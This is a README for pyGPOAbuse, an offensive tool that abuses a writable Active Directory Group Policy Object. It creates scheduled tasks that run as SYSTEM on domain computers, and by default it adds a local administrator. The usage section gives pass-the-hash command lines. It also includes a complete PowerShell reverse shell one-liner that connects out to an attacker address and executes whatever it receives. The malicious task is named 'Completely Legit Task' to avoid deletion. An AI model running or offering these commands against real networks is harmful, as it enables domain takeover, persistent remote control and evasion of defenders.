pyGPOAbuse
Description
Python partial implementation of SharpGPOAbuse by@pkb1s
This tool can be used when a controlled account can modify an existing GPO that applies to one or more users & computers. It will create an immediate scheduled task as SYSTEM on the remote computer for computer GPO, or as logged in user for user GPO.
Default behavior adds a local administrator.
How to use
Basic usage
Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id “12345677-ABCD-9876-ABCD-123456789012”
Advanced usage
Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id “12345677-ABCD-9876-ABCD-123456789012” \ -powershell \ -command “$client = New-Object System.Net.Sockets.TCPClient(‘10.20.0.2’,1234);$stream = $client.GetStream();[byte]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ’ + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()” \ -taskname “Completely Legit Task” \ -description “Dis is legit, pliz no delete” \ -user
Credits
- @pkb1s for SharpGPOAbuse
- @airman604 for schtask_now.py
- @SkelSec for msldap
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